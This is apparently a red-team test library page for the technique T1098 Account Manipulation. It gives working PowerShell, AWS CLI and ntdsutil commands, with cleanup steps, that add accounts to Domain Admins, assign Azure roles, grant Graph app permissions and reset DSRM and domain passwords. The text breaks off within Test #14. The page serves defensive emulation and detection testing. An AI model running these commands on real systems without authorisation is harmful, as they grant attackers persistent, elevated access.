T1098 - Account Manipulation

Contents

T1098 - Account Manipulation#

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials.

In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

Atomic Tests#

Atomic Test #1 - Admin Account ManipulateManipulate Admin Account Name#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

foreach($member in $fmm) {
    if($member -like "*Administrator*") {
        $account = $member.Name.Split("\")[-1] # strip computername\
        $originalDescription = (Get-LocalUser -Name $account).Description
        Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
        Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
        Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
        }
    }
Invoke-AtomicTest T1098 -TestNumbers 1

Cleanup:#

$list = Get-LocalUser |?{$_.Description -like "atr:*"}
foreach($u in $list) {
  $u.Description -match "atr:(?<Name>[^;]+);(?<Description>.*)"
  Set-LocalUser -Name $u.Name -Description $Matches.Description
  Rename-LocalUser -Name $u.Name -NewName $Matches.Name
  Write-Host "Successfully Reverted Account $($u.Name) to $($Matches.Name) on " $Env:COMPUTERNAME
}
Invoke-AtomicTest T1098 -TestNumbers 1 -Cleanup

Atomic Test #2 - Domain Account and Group Manipulate#

Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins).

The quickest way to run it is against a domain controller, using -Session of Invoke-AtomicTest. Alternatively, you need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to create the user and alter the group. Automatic installation of the dependency requires an elevated session, and is unlikely to work with Powershell Core (untested).

If you consider running this test against a production Active Directory, the good practise is to create a dedicated service account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated as group manager of the target group.

Example: Invoke-AtomicTest -Session $session 'T1098' -TestNames "Domain Account and Group Manipulate" -InputArgs @{"group" = "DNSAdmins" }

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: PS Module ActiveDirectory#
Check Prereq Commands:#
Try {
    Import-Module ActiveDirectory -ErrorAction Stop | Out-Null
    exit 0
} 
Catch {
    exit 1
}
Get Prereq Commands:#
if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {
  Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online
} else {
  Install-WindowsFeature RSAT-AD-PowerShell
}
Invoke-AtomicTest T1098 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with powershell#

$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "atr--$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False 
Add-ADGroupMember "Domain Admins" $account
Invoke-AtomicTest T1098 -TestNumbers 2

Cleanup:#

Get-ADUser -LDAPFilter "(&(samaccountname=atr--*)(givenName=Test))" | Remove-ADUser -Confirm:$False
Invoke-AtomicTest T1098 -TestNumbers 2 -Cleanup

Atomic Test #3 - AWS - Create a group and add a user to that group#

Adversaries create AWS group, add users to specific to that group to elevate their privilieges to gain more accesss

Supported Platforms: iaas:aws

Dependencies: Run with sh!#

Description: Check if the user exists, we can only add a user to a group if the user exists.#
Check Prereq Commands:#
aws iam list-users | grep atomicredteam
Get Prereq Commands:#
echo Please run atomic test T1136.003, before running this atomic test
Invoke-AtomicTest T1098 -TestNumbers 3 -GetPreReqs

Attack Commands: Run with sh#

aws iam create-group --group-name atomicredteam
aws iam add-user-to-group --user-name atomicredteam --group-name atomicredteam
Invoke-AtomicTest T1098 -TestNumbers 3

Cleanup:#

aws iam remove-user-from-group --user-name atomicredteam --group-name atomicredteam
aws iam delete-group --group-name atomicredteam
Invoke-AtomicTest T1098 -TestNumbers 3 -Cleanup

Atomic Test #4 - Azure AD - adding user to Azure AD role#

The adversaries want to add user to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged Authentication Administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to the user principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity “Add member to role” in Azure AD Audit Logs. In targer you will also see User as a type.

Supported Platforms: azure-ad

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: AzureAD module must be installed.#
Check Prereq Commands:#
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:#
Install-Module -Name AzureAD -Force
Invoke-AtomicTest T1098 -TestNumbers 4 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$user = Get-AzureADUser -Filter "DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'"
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"
Invoke-AtomicTest T1098 -TestNumbers 4

Cleanup:#

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$user = Get-AzureADUser -Filter "DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'"
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $user.ObjectId
Write-Host "User $($user.DisplayName) was removed from $($role.DisplayName) role"
Invoke-AtomicTest T1098 -TestNumbers 4 -Cleanup

Atomic Test #5 - Azure AD - adding service principal to Azure AD role#

The adversaries want to add service principal to some Azure AD role. Threat actor may be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, Privileged Authentication Administrator (this role can reset Global Administrator password!). By default, the role Global Reader is assigned to service principal in this test.

The account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.

Detection hint - check Activity “Add member to role” in Azure AD Audit Logs. In targer you will also see Service Principal as a type.

Supported Platforms: azure-ad

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: AzureAD module must be installed.#
Check Prereq Commands:#
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:#
Install-Module -Name AzureAD -Force
Invoke-AtomicTest T1098 -TestNumbers 5 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq 'SuperSP'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"
Invoke-AtomicTest T1098 -TestNumbers 5

Cleanup:#

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore

$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq 'SuperSP'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -MemberId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.DisplayName) role"
Invoke-AtomicTest T1098 -TestNumbers 5 -Cleanup

Atomic Test #6 - Azure - adding user to Azure role in subscription#

The adversaries want to add user to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to user in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name “Create role assignment” in subscriptions Activity Logs.

Supported Platforms: iaas:azure

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Az.Resources module must be installed.#
Check Prereq Commands:#
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:#
Install-Module -Name Az.Resources -Force
Invoke-AtomicTest T1098 -TestNumbers 6 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "SuperUser" -or $_.UserPrincipalName -eq "SuperUser" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
Invoke-AtomicTest T1098 -TestNumbers 6

Cleanup:#

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$user = Get-AzADUser | where-object {$_.DisplayName -eq "SuperUser" -or $_.UserPrincipalName -eq "SuperUser" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
Invoke-AtomicTest T1098 -TestNumbers 6 -Cleanup

Atomic Test #7 - Azure - adding service principal to Azure role in subscription#

The adversaries want to add service principal to some Azure role, also called Azure resource role. Threat actor may be interested primarily in highly privileged roles, e.g. Owner, Contributor. By default, the role Reader is assigned to service principal in this test.

New-AzRoleAssignment cmdlet could be also use to assign user/service principal to resource, resource group and management group.

The account you use to run the PowerShell command must have Microsoft.Authorization/roleAssignments/write (e.g. such as User Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All and Microsoft Graph Directory.Read.All permissions.

Detection hint - check Operation Name “Create role assignment” in subscriptions Activity Logs.

Supported Platforms: iaas:azure

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: Az.Resources module must be installed.#
Check Prereq Commands:#
try {if (Get-InstalledModule -Name Az.Resources -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:#
Install-Module -Name Az.Resources -Force
Invoke-AtomicTest T1098 -TestNumbers 7 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "SuperSP"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
Invoke-AtomicTest T1098 -TestNumbers 7

Cleanup:#

Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential -ErrorAction Ignore

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "SuperSP"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"} 
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

Remove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
Invoke-AtomicTest T1098 -TestNumbers 7 -Cleanup

Atomic Test #8 - Azure AD - adding permission to application#

The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor. This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: “Get-AzureADApplication” instead of “New-AzureADServicePrincipal”. The DirectoryRecommendations.Read.All permissions has been selected as the default.

The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.

Detection hint - check Operation Name “Add app role assignment to service principal” in subscriptions Activity Logs. You can also take a look at the materials: https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/ reprise99/Sentinel-Queries https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766 https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb

Supported Platforms: azure-ad

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: AzureAD module must be installed.#
Check Prereq Commands:#
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:#
Install-Module -Name AzureAD -Force
Invoke-AtomicTest T1098 -TestNumbers 8 -GetPreReqs

Attack Commands: Run with powershell#

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$aadApplication = New-AzureADApplication -DisplayName "test_app"
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId
#$aadApplication = Get-AzureADApplication -Filter "DisplayName eq 'test_app'"

#Get Service Principal of Microsoft Graph Resource API 
$graphSP = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"

#Initialize RequiredResourceAccess for Microsoft Graph Resource API 
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]

#Set Application Permissions
$ApplicationPermissions = @('DirectoryRecommendations.Read.All')

$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id    
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource API" -ForegroundColor Red
}

#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]
$requiredResourcesAccess.Add($requiredGraphAccess)

#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess

$servicePrincipal = Get-AzureADServicePrincipal -Filter "AppId eq '$($aadApplication.AppId)'"

New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id
Invoke-AtomicTest T1098 -TestNumbers 8

Cleanup:#

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$aadApplication = @(Get-AzureADApplication -Filter "DisplayName eq 'test_app'")
If ($aadApplication.Count -eq 0)
{
  Write-Host "App not found: cannot delete it"
  exit
}
ElseIf ($aadApplication.Count -gt 1)
{
  Write-Host "Found several app with name 'test_app': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required."
  exit
}
Else
{
  Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId
  Write-Host "Successfully deleted app"
}
Invoke-AtomicTest T1098 -TestNumbers 8 -Cleanup

Atomic Test #9 - Password Change on Directory Service Restore Mode (DSRM) AccountChange the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account#

Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

ntdsutil "set dsrm password" "sync from domain account %username%" "q" "q"
Invoke-AtomicTest T1098 -TestNumbers 9

Atomic Test #10 - Domain Password Policy Check: Short Password#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 10 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "Uplow-1"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString Uplow-1 -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to Uplow-1"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "Uplow-1" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 10

Atomic Test #11 - Domain Password Policy Check: No Number in Password#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 11 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "UpperLowerLong-special"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString UpperLowerLong-special -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to UpperLowerLong-special"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UpperLowerLong-special" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 11

Atomic Test #12 - Domain Password Policy Check: No Special Character in Password#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 12 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "UpperLowerLong333noSpecialChar"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString UpperLowerLong333noSpecialChar -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to UpperLowerLong333noSpecialChar"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UpperLowerLong333noSpecialChar" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 12

Atomic Test #13 - Domain Password Policy Check: No Uppercase Character in Password#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 13 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "lower-long-special-333"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString lower-long-special-333 -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to lower-long-special-333"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "lower-long-special-333" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 13

Atomic Test #14 - Domain Password Policy Check: No Lowercase Character in Password#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
